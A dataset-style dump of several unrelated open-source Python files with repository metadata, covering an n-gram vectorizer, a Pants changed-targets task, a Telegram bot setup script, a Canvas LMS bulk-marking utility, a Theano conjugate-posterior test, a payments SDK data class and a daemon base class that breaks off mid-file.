null
null
null
vectorizers/ngram_vectorizer.py
cjweir/vectorizers
6400af95e130cc692e13244ec5d696222b784606
[ "BSD-3-Clause" ]
null
null
null
import numpy as np import numba from sklearn.base import BaseEstimator, TransformerMixin from sklearn.utils.validation import ( check_is_fitted, ) from collections import defaultdict import scipy.linalg import scipy.stats import scipy.sparse from .utils import ( flatten, validate_homogeneous_token_types, ) from .preprocessing import ( preprocess_token_sequences, ) @numba.njit(nogil=True) def ngrams_of(sequence, ngram_size, ngram_behaviour="exact"): """Produce n-grams of a sequence of tokens. The n-gram behaviour can either be "exact", meaning that only n-grams of exactly size n are produced, or "subgrams" meaning that all n-grams of size less than or equal to n are produced. Parameters ---------- sequence: Iterable The sequence of tokens to produce n-grams of. ngram_size: int The size of n-grams to use. ngram_behaviour: string (optional, default="exact") The n-gram behaviour. Should be one of: * "exact" * "subgrams" Returns ------- ngrams: list A list of the n-grams of the sequence. """ result = [] for i in range(len(sequence)): if ngram_behaviour == "exact": if i + ngram_size <= len(sequence): result.append(sequence[i : i + ngram_size]) elif ngram_behaviour == "subgrams": for j in range(1, ngram_size + 1): if i + j <= len(sequence): result.append(sequence[i : i + j]) else: raise ValueError("Unrecognized ngram_behaviour!") return result class NgramVectorizer(BaseEstimator, TransformerMixin): """Given a sequence, or list of sequences of tokens, produce a count matrix of n-grams of successive tokens. This either produces n-grams for a fixed size or all n-grams up to a fixed size. Parameters ---------- ngram_size: int (default = 1) The size of the ngrams to count. ngram_behaviour: string (optional, default="exact") The n-gram behaviour. Should be one of ["exact", "subgrams"] to produce either fixed size ngram_size or all ngrams of size upto (and including) ngram_size. ngram_dictionary: dictionary or None (optional, default=None) A fixed dictionary mapping tokens to indices, or None if the dictionary should be learned from the training data. token_dictionary: dictionary or None (optional, default=None) A fixed dictionary mapping tokens to indices, or None if the dictionary should be learned from the training data. min_occurrences: int or None (optional, default=None) The minimal number of occurrences of a token for it to be considered and counted. If None then there is no constraint, or the constraint is determined by min_frequency. max_occurrences int or None (optional, default=None) The maximal number of occurrences of a token for it to be considered and counted. If None then there is no constraint, or the constraint is determined by max_frequency. min_frequency: float or None (optional, default=None) The minimal frequency of occurrence of a token for it to be considered and counted. If None then there is no constraint, or the constraint is determined by min_occurences. max_frequency: float or None (optional, default=None) The maximal frequency of occurrence of a token for it to be considered and counted. If None then there is no constraint, or the constraint is determined by max_occurences. min_document_occurrences: int or None (optional, default=None) The minimal number of documents with an occurrences of a token for the token to be considered and counted. If None then there is no constraint, or the constraint is determined by min_document_frequency. max_document_occurrences int or None (optional, default=None) The maximal number of documents with an occurrences of a token for the token to be considered and counted. If None then there is no constraint, or the constraint is determined by max_document_frequency. min_document_frequency: float or None (optional, default=None) The minimal frequency of documents with an occurrences of a token for the token to be considered and counted. If None then there is no constraint, or the constraint is determined by min_document_occurrences. max_document_frequency: float or None (optional, default=None) The maximal frequency documents with an occurrences of a token for the token to be considered and counted. If None then there is no constraint, or the constraint is determined by max_document_occurrences. ignored_tokens: set or None (optional, default=None) A set of tokens that should be ignored entirely. If None then no tokens will be ignored in this fashion. excluded_regex: str or None (optional, default=None) The regular expression by which tokens are ignored if re.fullmatch returns True. token_dictionary: dictionary or None (optional, default=None) A dictionary mapping tokens to indices validate_data: bool (optional, default=True) Check whether the data is valid (e.g. of homogeneous token type). """ def __init__( self, ngram_size=1, ngram_behaviour="exact", ngram_dictionary=None, token_dictionary=None, min_occurrences=None, max_occurrences=None, min_frequency=None, max_frequency=None, min_document_occurrences=None, max_document_occurrences=None, min_document_frequency=None, max_document_frequency=None, ignored_tokens=None, excluded_token_regex=None, validate_data=True, ): self.ngram_size = ngram_size self.ngram_behaviour = ngram_behaviour self.ngram_dictionary = ngram_dictionary self.token_dictionary = token_dictionary self.min_occurrences = min_occurrences self.min_frequency = min_frequency self.max_occurrences = max_occurrences self.max_frequency = max_frequency self.min_document_occurrences = min_document_occurrences self.min_document_frequency = min_document_frequency self.max_document_occurrences = max_document_occurrences self.max_document_frequency = max_document_frequency self.ignored_tokens = ignored_tokens self.excluded_token_regex = excluded_token_regex self.validate_data = validate_data def fit(self, X, y=None, **fit_params): if self.validate_data: validate_homogeneous_token_types(X) flat_sequence = flatten(X) ( token_sequences, self._token_dictionary_, self._inverse_token_dictionary_, self._token_frequencies_, ) = preprocess_token_sequences( X, flat_sequence, self.token_dictionary, min_occurrences=self.min_occurrences, max_occurrences=self.max_occurrences, min_frequency=self.min_frequency, max_frequency=self.max_frequency, min_document_occurrences=self.min_document_occurrences, max_document_occurrences=self.max_document_occurrences, min_document_frequency=self.min_document_frequency, max_document_frequency=self.max_document_frequency, ignored_tokens=self.ignored_tokens, excluded_token_regex=self.excluded_token_regex, ) if self.ngram_dictionary is not None: self.column_label_dictionary_ = self.ngram_dictionary else: if self.ngram_size == 1: self.column_label_dictionary_ = self._token_dictionary_ else: self.column_label_dictionary_ = defaultdict() self.column_label_dictionary_.default_factory = ( self.column_label_dictionary_.__len__ ) indptr = [0] indices = [] data = [] for sequence in token_sequences: counter = {} numba_sequence = np.array(sequence) for index_gram in ngrams_of( numba_sequence, self.ngram_size, self.ngram_behaviour ): try: if len(index_gram) == 1: token_gram = self._inverse_token_dictionary_[index_gram[0]] else: token_gram = tuple( self._inverse_token_dictionary_[index] for index in index_gram ) col_index = self.column_label_dictionary_[token_gram] if col_index in counter: counter[col_index] += 1 else: counter[col_index] = 1 except KeyError: # Out of predefined ngrams; drop continue indptr.append(indptr[-1] + len(counter)) indices.extend(counter.keys()) data.extend(counter.values()) # Remove defaultdict behavior self.column_label_dictionary_ = dict(self.column_label_dictionary_) self.column_index_dictionary_ = { index: token for token, index in self.column_label_dictionary_.items() } if indptr[-1] > np.iinfo(np.int32).max: # = 2**31 - 1 indices_dtype = np.int64 else: indices_dtype = np.int32 indices = np.asarray(indices, dtype=indices_dtype) indptr = np.asarray(indptr, dtype=indices_dtype) data = np.asarray(data, dtype=np.intc) self._train_matrix = scipy.sparse.csr_matrix( (data, indices, indptr), shape=(len(indptr) - 1, len(self.column_label_dictionary_)), dtype=np.float32, ) self._train_matrix.sort_indices() return self def fit_transform(self, X, y=None, **fit_params): self.fit(X, y, **fit_params) return self._train_matrix def transform(self, X): check_is_fitted( self, [ "_token_dictionary_", "_inverse_token_dictionary_", "column_label_dictionary_", ], ) flat_sequence = flatten(X) (token_sequences, _, _, _) = preprocess_token_sequences( X, flat_sequence, self._token_dictionary_, ) indptr = [0] indices = [] data = [] for sequence in token_sequences: counter = {} numba_sequence = np.array(sequence) for index_gram in ngrams_of( numba_sequence, self.ngram_size, self.ngram_behaviour ): try: if len(index_gram) == 1: token_gram = self._inverse_token_dictionary_[index_gram[0]] else: token_gram = tuple( self._inverse_token_dictionary_[index] for index in index_gram ) col_index = self.column_label_dictionary_[token_gram] if col_index in counter: counter[col_index] += 1 else: counter[col_index] = 1 except KeyError: # Out of predefined ngrams; drop continue indptr.append(indptr[-1] + len(counter)) indices.extend(counter.keys()) data.extend(counter.values()) if indptr[-1] > np.iinfo(np.int32).max: # = 2**31 - 1 indices_dtype = np.int64 else: indices_dtype = np.int32 indices = np.asarray(indices, dtype=indices_dtype) indptr = np.asarray(indptr, dtype=indices_dtype) data = np.asarray(data, dtype=np.intc) result = scipy.sparse.csr_matrix( (data, indices, indptr), shape=(len(indptr) - 1, len(self.column_label_dictionary_)), dtype=np.float32, ) result.sort_indices() return result
37.438066
111
0.622337
7959444b1258513576d96aa9649f30077372cbfe
7,289
py
Python
src/python/pants/backend/core/tasks/what_changed.py
lcary/pants
9ffe5262909ad9521e8cdf2beffd6e86330bd3bc
[ "Apache-2.0" ]
null
null
null
src/python/pants/backend/core/tasks/what_changed.py
lcary/pants
9ffe5262909ad9521e8cdf2beffd6e86330bd3bc
[ "Apache-2.0" ]
null
null
null
src/python/pants/backend/core/tasks/what_changed.py
lcary/pants
9ffe5262909ad9521e8cdf2beffd6e86330bd3bc
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2014 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import re from pants.backend.core.tasks.console_task import ConsoleTask from pants.base.build_environment import get_scm from pants.base.exceptions import TaskError from pants.base.lazy_source_mapper import LazySourceMapper from pants.goal.workspace import ScmWorkspace class ChangeCalculator(object): """A utility for calculating changed files or changed target addresses.""" def __init__(self, scm, workspace, address_mapper, build_graph, fast=False, changes_since=None, diffspec=None, include_dependees=None, exclude_target_regexp=None, spec_excludes=None): self._scm = scm self._workspace = workspace self._address_mapper = address_mapper self._build_graph = build_graph self._fast = fast self._changes_since = changes_since self._diffspec = diffspec self._include_dependees = include_dependees self._exclude_target_regexp = exclude_target_regexp self._spec_excludes = spec_excludes self._mapper_cache = None @property def _mapper(self): if self._mapper_cache is None: self._mapper_cache = LazySourceMapper(self._address_mapper, self._build_graph, self._fast) return self._mapper_cache def changed_files(self): """Determines the files changed according to SCM/workspace and options.""" if self._diffspec: return self._workspace.changes_in(self._diffspec) else: since = self._changes_since or self._scm.current_rev_identifier() return self._workspace.touched_files(since) def _directly_changed_targets(self): # Internal helper to find target addresses containing SCM changes. targets_for_source = self._mapper.target_addresses_for_source return set(addr for src in self.changed_files() for addr in targets_for_source(src)) def _find_changed_targets(self): # Internal helper to find changed targets, optionally including their dependees. changed = self._directly_changed_targets() # Skip loading the graph or doing any further work if no directly changed targets found. if not changed: return changed if self._include_dependees == 'none': return changed # Load the whole build graph since we need it for dependee finding in either remaining case. for address in self._address_mapper.scan_addresses(spec_excludes=self._spec_excludes): self._build_graph.inject_address_closure(address) if self._include_dependees == 'direct': return changed.union(*[self._build_graph.dependents_of(addr) for addr in changed]) if self._include_dependees == 'transitive': return set(t.address for t in self._build_graph.transitive_dependees_of_addresses(changed)) # Should never get here. raise ValueError('Unknown dependee inclusion: "{}"'.format(self._include_dependees)) def changed_target_addresses(self): """Find changed targets, according to SCM. This is the intended entry point for finding changed targets unless callers have a specific reason to call one of the above internal helpers. It will find changed targets and: - Optionally find changes in a given diffspec (commit, branch, tag, range, etc). - Optionally include direct or transitive dependees. - Optionally filter targets matching exclude_target_regexp. :returns: A set of target addresses. """ # Find changed targets (and maybe their dependees). changed = self._find_changed_targets() # Remove any that match the exclude_target_regexp list. excludes = [re.compile(pattern) for pattern in self._exclude_target_regexp] return set([ t for t in changed if not any(exclude.search(t.spec) is not None for exclude in excludes) ]) class ChangedFileTaskMixin(object): """A mixin for tasks which require the set of targets (or files) changed according to SCM. Changes are calculated relative to a ref/tree-ish (defaults to HEAD), and changed files are then mapped to targets using LazySourceMapper. LazySourceMapper can optionally be used in "fast" mode, which stops searching for additional owners for a given source once a one is found. """ @classmethod def register_change_file_options(cls, register): register('--fast', action='store_true', default=False, help='Stop searching for owners once a source is mapped to at least owning target.') register('--changes-since', '--parent', help='Calculate changes since this tree-ish/scm ref (defaults to current HEAD/tip).') register('--diffspec', help='Calculate changes contained within given scm spec (commit range/sha/ref/etc).') register('--include-dependees', choices=['none', 'direct', 'transitive'], default='none', help='Include direct or transitive dependees of changed targets.') @classmethod def change_calculator(cls, options, address_mapper, build_graph, scm=None, workspace=None, spec_excludes=None): scm = scm or get_scm() if scm is None: raise TaskError('No SCM available.') workspace = workspace or ScmWorkspace(scm) return ChangeCalculator(scm, workspace, address_mapper, build_graph, fast=options.fast, changes_since=options.changes_since, diffspec=options.diffspec, include_dependees=options.include_dependees, # NB: exclude_target_regexp is a global scope option registered # elsewhere exclude_target_regexp=options.exclude_target_regexp, spec_excludes=spec_excludes) class WhatChanged(ChangedFileTaskMixin, ConsoleTask): """Emits the targets that have been modified since a given commit.""" @classmethod def register_options(cls, register): super(WhatChanged, cls).register_options(register) cls.register_change_file_options(register) register('--files', action='store_true', default=False, help='Show changed files instead of the targets that own them.') def console_output(self, _): spec_excludes = self.get_options().spec_excludes change_calculator = self.change_calculator(self.get_options(), self.context.address_mapper, self.context.build_graph, scm=self.context.scm, workspace=self.context.workspace, spec_excludes=spec_excludes) if self.get_options().files: for f in sorted(change_calculator.changed_files()): yield f else: for addr in sorted(change_calculator.changed_target_addresses()): yield addr.spec
42.377907
113
0.680203
795945531000060970ccece824325ef7c9e72084
1,071
py
Python
setup.py
annihilatorrrr/dumbot
c4ff0db681cb1a3d13e8ce7ef5158e3f2bf46a55
[ "MIT" ]
null
null
null
setup.py
annihilatorrrr/dumbot
c4ff0db681cb1a3d13e8ce7ef5158e3f2bf46a55
[ "MIT" ]
null
null
null
setup.py
annihilatorrrr/dumbot
c4ff0db681cb1a3d13e8ce7ef5158e3f2bf46a55
[ "MIT" ]
null
null
null
import os import shutil from distutils.core import setup PKG_DIR = 'dumbot' BOT_SRC = 'dumbot.py' INIT_PY = os.path.join(PKG_DIR, '__init__.py') try: if os.path.isfile(BOT_SRC): os.makedirs(PKG_DIR, exist_ok=True) shutil.copy(BOT_SRC, INIT_PY) setup( name='dumbot', packages=[PKG_DIR], version='1.5.5', description='dumb async telegram bot for python 3', author='Lonami Exo', author_email='totufals@hotmail.com', keywords='telegram async asyncio bot'.split(), classifiers=['Development Status :: 5 - Production/Stable', 'Framework :: AsyncIO', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Topic :: Communications :: Chat'] ) finally: if os.path.isfile(BOT_SRC): if os.path.isfile(INIT_PY): os.remove(INIT_PY) if os.path.isdir(PKG_DIR): os.rmdir(PKG_DIR)
29.75
67
0.570495
79594557660ded1c70399167e8a151316a1a0b8f
5,613
py
Python
canvas-bulk-marking-utility.py
kylejcharlton/canvas-bulk-marking-utility
11a5825dc28cd546be535e84862b5652a6a929d4
[ "MIT" ]
null
null
null
canvas-bulk-marking-utility.py
kylejcharlton/canvas-bulk-marking-utility
11a5825dc28cd546be535e84862b5652a6a929d4
[ "MIT" ]
null
null
null
canvas-bulk-marking-utility.py
kylejcharlton/canvas-bulk-marking-utility
11a5825dc28cd546be535e84862b5652a6a929d4
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import argparse import os import sys import datetime import time import requests # Initialize some variables: start_date = datetime.datetime(1970, 1, 1).isoformat() def generate_auth_header(token: str): return {'Authorization': 'Bearer ' + token} # Necessary to list all announcements # Work through Canvas' pagination model if the relevant links exist def get_paginated_list(result: requests.models.Response, token: str) -> list: """ Easily handle pagination with Canvas API requests """ print('\tRetrieving all entries...') auth = generate_auth_header(token) items_list = result.json() while True: try: result.headers['Link'] # Handle pagination links pagination_links = result.headers['Link'].split(',') pagination_urls = {} for link in pagination_links: url, label = link.split(';') label = label.split('=')[-1].replace('"', '') url = url.replace('<', '').replace('>', '') pagination_urls.update({label: url}) # Now try to get the next page print('\tGetting next page...') result = requests.get(pagination_urls['next'], headers=auth) items_list.extend(result.json()) except KeyError: print('\tReached end of paginated list') break return items_list def mark_all_discussions_read(domain: str, token: str, course_id: int) -> None: auth = generate_auth_header(token) url = domain + '/api/v1/courses/' + str(course_id) + '/discussion_topics' discussions_response = requests.get(url, headers=auth, params={"per_page": 10000}) if discussions_response.status_code != 200: print(f"Cannot access course {course_id} -- are you authorized to view this course?") return discussions_list = get_paginated_list(discussions_response, token) for topic in discussions_list: try: topic_id = topic['id'] if topic['read_state'] == 'unread': requests.put(domain + '/api/v1/courses/' + str(course_id) + '/discussion_topics/' + str(topic_id) + '/read_all.json', headers={**auth, **{"Content-Length": "0"}}, params={"per_page": 10000}) time.sleep(1) except TypeError: print(f"Couldn't get info for topic {topic}. Skipping.") def mark_old_todos_complete(domain: str, token: str) -> None: print("Marking old TODOs...") auth = generate_auth_header(token) end_date = datetime.datetime.now(datetime.timezone.utc).isoformat() activities_response = requests.get(domain + '/api/v1/planner/items', headers=auth, params={'start_date': start_date, 'end_date': end_date, 'per_page': 10000}) activities = get_paginated_list(activities_response, token) for item in activities: if item['planner_override'] == None: print("\tMarking item: " + item['plannable']['title'] + " (" + item['plannable_date'][:10] + ")") requests.post(domain + '/api/v1/planner/overrides', headers=auth, params={'plannable_type': item['plannable_type'], 'plannable_id': item['plannable_id'], 'marked_complete': True}) time.sleep(1) elif item['planner_override']['marked_complete'] == False: print("\tMarking item: " + item['plannable']['title'] + " (" + item['plannable_date'][:10] + ")") requests.put(domain + '/api/v1/planner/overrides/' + str(item['planner_override']['id']), headers=auth, params={'marked_complete': 'true'}) time.sleep(1) print("\tDone.") def main() -> int: parser = argparse.ArgumentParser() parser.add_argument('-D', '--domain', required=True, help='Your institution\'s domain for Canvas (e.g. https://utah.instructure.com)') parser.add_argument('-T', '--token', required=True, help='Your Canvas LMS Token') parser.add_argument('-a', '--announcements', action='store_true', help='Mark old announcements as read') parser.add_argument('-d', '--discussions', action='store_true', help='Mark old discussions as read') parser.add_argument('-t', '--todos', action='store_true', help='Mark old TODOs as complete') parser.add_argument('-u', '--unread', action='store_true', help='Mark old activities as read') parser.add_argument('-A', '--all', action='store_true', help='Enable all options') args = parser.parse_args() token = args.token domain = args.domain if args.all or args.todos: mark_old_todos_complete(domain, token) if args.all or args.discussions or args.announcements: print("Retrieving course list...") auth = generate_auth_header(token) courses_response = requests.get(domain + '/api/v1/courses', headers=auth, params={"per_page": 10000}) if courses_response.status_code != 200: print("Unable to access courses. Verify both the domain and token are correct.") return 1 courses_list = get_paginated_list(courses_response, token) for course in courses_list: try: course_id = course['id'] except TypeError: print(f"Couldn't get info for course {course}. Skipping.") continue try: print(f"Marking discussions for course {course_id} ({course['name']})") except KeyError: print(f"Marking discussions for course {course_id}") mark_all_discussions_read(domain, token, course_id) return 0 if __name__ == '__main__': sys.exit(main())
40.673913
206
0.633529
7959459535a2c3baaf293ab055d6254b4144ba67
2,127
py
Python
tests/test_conjugates.py
brandonwillard/symbolic-pymc3
13fa4a9f5b4639bc9dc63e4df71cde10aac4bb3b
[ "Apache-2.0" ]
1
2020-12-29T17:49:46.000Z
2020-12-29T17:49:46.000Z
tests/test_conjugates.py
brandonwillard/symbolic-pymc3
13fa4a9f5b4639bc9dc63e4df71cde10aac4bb3b
[ "Apache-2.0" ]
null
null
null
tests/test_conjugates.py
brandonwillard/symbolic-pymc3
13fa4a9f5b4639bc9dc63e4df71cde10aac4bb3b
[ "Apache-2.0" ]
null
null
null
import theano.tensor as tt import numpy as np from theano.gof.opt import EquilibriumOptimizer from theano.gof.graph import inputs as tt_inputs from symbolic_pymc import MvNormalRV, observed from symbolic_pymc.opt import KanrenRelationSub, FunctionGraph from symbolic_pymc.utils import optimize_graph from symbolic_pymc.relations.conjugates import conjugate_posteriors def test_mvnormal_mvnormal(): a_tt = tt.vector('a') R_tt = tt.matrix('R') F_t_tt = tt.matrix('F') V_tt = tt.matrix('V') a_tt.tag.test_value = np.r_[1., 0.] R_tt.tag.test_value = np.diag([10., 10.]) F_t_tt.tag.test_value = np.c_[-2., 1.] V_tt.tag.test_value = np.diag([0.5]) beta_rv = MvNormalRV(a_tt, R_tt, name='\\beta') E_y_rv = F_t_tt.dot(beta_rv) Y_rv = MvNormalRV(E_y_rv, V_tt, name='Y') y_tt = tt.as_tensor_variable(np.r_[-3.]) y_tt.name = 'y' Y_obs = observed(y_tt, Y_rv) fgraph = FunctionGraph(tt_inputs([beta_rv, Y_obs]), [beta_rv, Y_obs], clone=True) posterior_opt = EquilibriumOptimizer( [KanrenRelationSub(conjugate_posteriors)], max_use_ratio=10) fgraph_opt = optimize_graph(fgraph, posterior_opt, return_graph=False) # Make sure that it removed the old, integrated observation distribution. assert fgraph_opt[1].owner.inputs[1].equals(tt.NoneConst) # Check that the SSE has decreased from prior to posterior. # TODO: Use a better test. beta_prior_mean_val = a_tt.tag.test_value F_val = F_t_tt.tag.test_value beta_post_mean_val = fgraph_opt[0].owner.inputs[0].tag.test_value priorp_err = np.square( y_tt.data - F_val.dot(beta_prior_mean_val)).sum() postp_err = np.square( y_tt.data - F_val.dot(beta_post_mean_val)).sum() # First, make sure the prior and posterior means are simply not equal. np.testing.assert_raises( AssertionError, np.testing.assert_array_equal, priorp_err, postp_err) # Now, make sure there's a decrease (relative to the observed point). np.testing.assert_array_less(postp_err, priorp_err)
34.306452
77
0.694875
7959477541e635868df28fb169d4fd6024995573
7,702
py
Python
onlinepayments/sdk/domain/redirect_payment_method_specific_input.py
wl-online-payments-direct/sdk-python3
99fca127334520cde4ffa3a34cbea3b3a0d3fbff
[ "Apache-2.0" ]
null
null
null
onlinepayments/sdk/domain/redirect_payment_method_specific_input.py
wl-online-payments-direct/sdk-python3
99fca127334520cde4ffa3a34cbea3b3a0d3fbff
[ "Apache-2.0" ]
null
null
null
onlinepayments/sdk/domain/redirect_payment_method_specific_input.py
wl-online-payments-direct/sdk-python3
99fca127334520cde4ffa3a34cbea3b3a0d3fbff
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # # This class was auto-generated. # from onlinepayments.sdk.data_object import DataObject from onlinepayments.sdk.domain.redirect_payment_product809_specific_input import RedirectPaymentProduct809SpecificInput from onlinepayments.sdk.domain.redirect_payment_product840_specific_input import RedirectPaymentProduct840SpecificInput from onlinepayments.sdk.domain.redirection_data import RedirectionData class RedirectPaymentMethodSpecificInput(DataObject): """ | Object containing the specific input details for payments that involve redirects to 3rd parties to complete, like iDeal and PayPal """ __payment_option = None __payment_product809_specific_input = None __payment_product840_specific_input = None __payment_product_id = None __redirection_data = None __requires_approval = None __token = None __tokenize = None @property def payment_option(self) -> str: """ | The specific payment option for the payment. To be used as a complement of the more generic paymentProductId (oney, banquecasino, cofidis), which allows to define a variation of the selected paymentProductId (ex: facilypay3x, banquecasino4x, cofidis3x-sansfrais, ...). List of modalities included in the payment product page. Type: str """ return self.__payment_option @payment_option.setter def payment_option(self, value: str): self.__payment_option = value @property def payment_product809_specific_input(self) -> RedirectPaymentProduct809SpecificInput: """ | Object containing specific input required for iDeal payments (Payment product ID 809) Type: :class:`onlinepayments.sdk.domain.redirect_payment_product809_specific_input.RedirectPaymentProduct809SpecificInput` """ return self.__payment_product809_specific_input @payment_product809_specific_input.setter def payment_product809_specific_input(self, value: RedirectPaymentProduct809SpecificInput): self.__payment_product809_specific_input = value @property def payment_product840_specific_input(self) -> RedirectPaymentProduct840SpecificInput: """ | Object containing specific input required for PayPal payments (Payment product ID 840) Type: :class:`onlinepayments.sdk.domain.redirect_payment_product840_specific_input.RedirectPaymentProduct840SpecificInput` """ return self.__payment_product840_specific_input @payment_product840_specific_input.setter def payment_product840_specific_input(self, value: RedirectPaymentProduct840SpecificInput): self.__payment_product840_specific_input = value @property def payment_product_id(self) -> int: """ | Payment product identifier - Please see Products documentation for a full overview of possible values. Type: int """ return self.__payment_product_id @payment_product_id.setter def payment_product_id(self, value: int): self.__payment_product_id = value @property def redirection_data(self) -> RedirectionData: """ | Object containing browser specific redirection related data Type: :class:`onlinepayments.sdk.domain.redirection_data.RedirectionData` """ return self.__redirection_data @redirection_data.setter def redirection_data(self, value: RedirectionData): self.__redirection_data = value @property def requires_approval(self) -> bool: """ | * true = the payment requires approval before the funds will be captured using the Approve payment or Capture payment API | * false = the payment does not require approval, and the funds will be captured automatically Type: bool """ return self.__requires_approval @requires_approval.setter def requires_approval(self, value: bool): self.__requires_approval = value @property def token(self) -> str: """ | ID of the token to use to create the payment. Type: str """ return self.__token @token.setter def token(self, value: str): self.__token = value @property def tokenize(self) -> bool: """ | Indicates if this transaction should be tokenized | * true - Tokenize the transaction. | * false - Do not tokenize the transaction, unless it would be tokenized by other means such as auto-tokenization of recurring payments. Type: bool """ return self.__tokenize @tokenize.setter def tokenize(self, value: bool): self.__tokenize = value def to_dictionary(self): dictionary = super(RedirectPaymentMethodSpecificInput, self).to_dictionary() if self.payment_option is not None: dictionary['paymentOption'] = self.payment_option if self.payment_product809_specific_input is not None: dictionary['paymentProduct809SpecificInput'] = self.payment_product809_specific_input.to_dictionary() if self.payment_product840_specific_input is not None: dictionary['paymentProduct840SpecificInput'] = self.payment_product840_specific_input.to_dictionary() if self.payment_product_id is not None: dictionary['paymentProductId'] = self.payment_product_id if self.redirection_data is not None: dictionary['redirectionData'] = self.redirection_data.to_dictionary() if self.requires_approval is not None: dictionary['requiresApproval'] = self.requires_approval if self.token is not None: dictionary['token'] = self.token if self.tokenize is not None: dictionary['tokenize'] = self.tokenize return dictionary def from_dictionary(self, dictionary): super(RedirectPaymentMethodSpecificInput, self).from_dictionary(dictionary) if 'paymentOption' in dictionary: self.payment_option = dictionary['paymentOption'] if 'paymentProduct809SpecificInput' in dictionary: if not isinstance(dictionary['paymentProduct809SpecificInput'], dict): raise TypeError('value \'{}\' is not a dictionary'.format(dictionary['paymentProduct809SpecificInput'])) value = RedirectPaymentProduct809SpecificInput() self.payment_product809_specific_input = value.from_dictionary(dictionary['paymentProduct809SpecificInput']) if 'paymentProduct840SpecificInput' in dictionary: if not isinstance(dictionary['paymentProduct840SpecificInput'], dict): raise TypeError('value \'{}\' is not a dictionary'.format(dictionary['paymentProduct840SpecificInput'])) value = RedirectPaymentProduct840SpecificInput() self.payment_product840_specific_input = value.from_dictionary(dictionary['paymentProduct840SpecificInput']) if 'paymentProductId' in dictionary: self.payment_product_id = dictionary['paymentProductId'] if 'redirectionData' in dictionary: if not isinstance(dictionary['redirectionData'], dict): raise TypeError('value \'{}\' is not a dictionary'.format(dictionary['redirectionData'])) value = RedirectionData() self.redirection_data = value.from_dictionary(dictionary['redirectionData']) if 'requiresApproval' in dictionary: self.requires_approval = dictionary['requiresApproval'] if 'token' in dictionary: self.token = dictionary['token'] if 'tokenize' in dictionary: self.tokenize = dictionary['tokenize'] return self
42.788889
335
0.708907
7959488b7ece28a479e8754eee07b49bf77f7ee3
12,255
py
Python
pipa/ltsp/src/ltsp_usage_monitor/daemon.py
kiberpipa/Intranet
2bc2ffd4e9e9f36c78d0444b60575fa1de562f73
[ "BSD-2-Clause-FreeBSD" ]
3
2015-01-20T17:25:37.000Z
2021-09-16T17:28:02.000Z
pipa/ltsp/src/ltsp_usage_monitor/daemon.py
avian2/kiberpipa-intranet
e36f09e3fe74c95d73ea61e4efed8f42b97d08ea
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
pipa/ltsp/src/ltsp_usage_monitor/daemon.py
avian2/kiberpipa-intranet
e36f09e3fe74c95d73ea61e4efed8f42b97d08ea
[ "BSD-2-Clause-FreeBSD" ]
2
2017-09-11T22:13:51.000Z
2022-01-14T18:19:35.000Z
__author__ = "Shane Hathaway" __doc__ = """ Downloaded from http://hathawaymix.org/Software/Sketches/daemon.py See also http://blog.ianbicking.org/daemon-best-practices.html Daemon base class Provides a framework for daemonizing a process. Features: - reads the command line - reads a configuration file - configures logging - calls root-level setup code - drops privileges - calls user-level setup code - detaches from the controlling terminal - checks and writes a pidfile Example daemon: import daemon import logging import time class HelloDaemon(daemon.Daemon): default_conf = '/etc/hellodaemon.conf' section = 'hello' def run(self): while True: logging.info('The daemon says hello') time.sleep(1) if __name__ == '__main__': HelloDaemon().main() Example hellodaemon.conf: [hello] uid = gid = pidfile = ./hellodaemon.pid logfile = ./hellodaemon.log loglevel = info """ import ConfigParser import errno import grp import logging import optparse import os import pwd import signal import sys import time class Daemon(object): """Daemon base class""" default_conf = '' # override this section = 'daemon' # override this def setup_root(self): """Override to perform setup tasks with root privileges. When this is called, logging has been initialized, but the terminal has not been detached and the pid of the long-running process is not yet known. """ def setup_user(self): """Override to perform setup tasks with user privileges. Like setup_root, the terminal is still attached and the pid is temporary. However, the process has dropped root privileges. """ def run(self): """Override. The terminal has been detached at this point. """ def main(self): """Read the command line and either start or stop the daemon""" self.parse_options() action = self.options.action self.read_basic_config() if action == 'start': self.start() elif action == 'stop': self.stop() else: raise ValueError(action) def parse_options(self): """Parse the command line""" p = optparse.OptionParser() p.add_option('--start', dest='action', action='store_const', const='start', default='start', help='Start the daemon (the default action)') p.add_option('-s', '--stop', dest='action', action='store_const', const='stop', default='start', help='Stop the daemon') p.add_option('-c', dest='config_filename', action='store', default=self.default_conf, help='Specify alternate configuration file name') p.add_option('-n', '--nodaemon', dest='daemonize', action='store_false', default=True, help='Run in the foreground') self.options, self.args = p.parse_args() if not os.path.exists(self.options.config_filename): p.error('configuration file not found: %s' % self.options.config_filename) def read_basic_config(self): """Read basic options from the daemon config file""" self.config_filename = self.options.config_filename cp = ConfigParser.ConfigParser() cp.read([self.config_filename]) self.config_parser = cp try: self.uid, self.gid = get_uid_gid(cp, self.section) except ValueError, e: sys.exit(str(e)) self.pidfile = cp.get(self.section, 'pidfile') self.logfile = cp.get(self.section, 'logfile') self.loglevel = cp.get(self.section, 'loglevel') def on_sigterm(self, signalnum, frame): """Handle segterm by treating as a keyboard interrupt""" raise KeyboardInterrupt('SIGTERM') def add_signal_handlers(self): """Register the sigterm handler""" signal.signal(signal.SIGTERM, self.on_sigterm) def start(self): """Initialize and run the daemon""" # The order of the steps below is chosen carefully. # - don't proceed if another instance is already running. self.check_pid() # - start handling signals self.add_signal_handlers() # - create log file and pid file directories if they don't exist self.prepare_dirs() # - start_logging must come after check_pid so that two # processes don't write to the same log file, but before # setup_root so that work done with root privileges can be # logged. self.start_logging() try: # - set up with root privileges self.setup_root() # - drop privileges self.set_uid() # - check_pid_writable must come after set_uid in order to # detect whether the daemon user can write to the pidfile self.check_pid_writable() # - set up with user privileges before daemonizing, so that # startup failures can appear on the console self.setup_user() # - daemonize if self.options.daemonize: daemonize() except: logging.exception("failed to start due to an exception") raise # - write_pid must come after daemonizing since the pid of the # long running process is known only after daemonizing self.write_pid() try: logging.info("started") try: self.run() except (KeyboardInterrupt, SystemExit): pass except: logging.exception("stopping with an exception") raise finally: self.remove_pid() logging.info("stopped") def stop(self): """Stop the running process""" if self.pidfile and os.path.exists(self.pidfile): pid = 